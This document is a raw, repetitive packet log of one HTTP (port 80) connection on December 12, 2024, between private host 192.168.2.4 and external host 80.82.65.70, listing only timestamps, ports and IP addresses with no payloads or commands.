Dec 12, 2024 23:09:06.141470909 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.141510963 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.143342972 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.143408060 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.143661022 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.143702984 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.145294905 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.145344973 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.145414114 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.145453930 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.147408009 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.147456884 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.147491932 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.147521973 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.149467945 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.149514914 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.149537086 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.149557114 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.151441097 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.151488066 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.151583910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.151624918 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.153471947 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.153518915 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.153587103 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.153626919 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.155503035 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.155550003 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.155589104 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.155632019 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.157645941 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.157696962 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.157773972 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.157821894 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.159442902 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.159497976 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.159503937 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.159648895 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.161475897 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.161518097 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.161551952 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.161607027 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.163511038 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.163552999 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.163712025 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.163754940 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.165507078 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.165551901 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.165587902 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.165627003 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.167562962 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.167606115 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.167612076 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.167642117 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.169538975 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.169550896 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.169585943 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.169601917 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.171561956 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.171627998 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.171699047 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.171745062 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.173492908 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.173537970 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.173547029 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.173587084 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.175470114 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.175522089 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.175556898 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.175601959 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.177345991 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.177416086 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.177463055 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.177510023 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.179244995 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.179305077 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.179351091 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.179389954 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.181078911 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.181124926 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.181163073 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.181202888 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.182904005 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.182948112 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.183028936 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.183068037 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.184731007 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.184784889 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.184823036 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.184859991 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.186527014 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.186588049 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.186614037 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.186659098 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.188270092 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.188318014 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.188365936 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.188409090 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.190002918 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.190068960 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.190092087 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.190129995 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.218344927 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.218471050 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.218575001 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.218636990 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.218790054 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.218844891 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.218844891 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.218888044 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.219655991 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.219703913 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.219794035 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.219839096 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.220473051 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.220520020 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.220601082 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.220647097 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.221287012 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.221335888 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.221411943 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.221462011 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.222178936 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.222203970 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.222234964 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.222254992 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.223006010 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.223061085 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.223119020 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.223167896 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.223860025 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.223907948 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.224173069 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.224225044 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.224718094 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.224776030 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.224832058 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.224885941 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.225620031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.225789070 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.225826979 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.225873947 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.226439953 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.226494074 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.226572990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.226628065 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.227390051 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.227440119 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.227618933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.227664948 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.228174925 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.228225946 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.228291035 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.228338003 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.229020119 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.229069948 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.229084015 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.229125977 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.229907036 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.230055094 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.230082035 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.230128050 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.230748892 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.230803013 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.230823994 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.230866909 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.231623888 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.231683016 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.231688976 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.231734991 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.232548952 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.232597113 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.232714891 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.232760906 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.233303070 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.233350039 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.233386040 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.233434916 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.234162092 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.234213114 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.234316111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.234360933 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.235044956 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.235095024 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.235110998 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.235151052 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.235913992 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.235965014 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.236012936 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.236057997 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.236767054 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.236816883 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.236840963 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.236892939 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.237602949 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.237647057 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.237679958 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.237720966 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.238436937 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.238503933 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.238539934 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.238594055 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.239275932 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.239339113 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.239373922 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.239424944 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.240210056 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.240261078 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.240294933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.240345001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.332458019 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.332539082 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.332576990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.332623959 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.332921028 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.332973003 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.333009958 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.333055019 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.333643913 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.333694935 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.333848953 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.333901882 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.334512949 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.334566116 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.334670067 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.334719896 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.335505962 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.335558891 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.335567951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.335612059 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.336266994 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.336333036 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.336388111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.336457968 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.337083101 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.337146997 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.337205887 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.337255001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.337908983 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.337973118 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.338010073 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.338056087 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.338752985 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.338809967 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.338876009 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.338928938 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.339620113 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.339668989 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.339699030 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.339746952 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.340486050 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.340538979 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.340614080 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.340667963 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.341453075 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.341509104 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.341547966 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.341610909 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.342287064 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.342348099 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.342380047 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.342428923 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.343060970 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.343122005 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.343162060 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.343219042 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.343914986 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.343981981 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.344134092 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.344187021 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.344785929 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.344842911 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.344882011 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.344928980 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.345653057 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.345700979 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.345776081 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.345829010 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.346517086 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.346577883 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.346582890 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.346630096 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.347444057 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.347495079 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.347521067 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.347568989 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.348236084 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.348280907 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.348280907 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.348335981 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.349087954 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.349133968 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.349244118 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.349289894 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.349920988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.349968910 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.350119114 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.350167990 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.350863934 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.350905895 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.350940943 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.350980997 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.351727962 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.351774931 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.351845980 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.351887941 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.352513075 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.352576017 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.352606058 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.352648973 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.353400946 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.353458881 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.353476048 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.353528023 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.354222059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.354274988 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.354331017 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.354372025 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.410295963 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.410367966 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.410453081 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.410491943 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.410625935 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.410671949 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.410842896 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.410890102 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.411575079 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.411623955 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.411798000 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.411840916 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.411920071 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.412198067 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.412647009 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.412691116 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.412806034 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.412852049 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.413511992 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.413558960 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.413641930 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.413687944 CET	49744	80	192.168.2.4	80.82.65.70
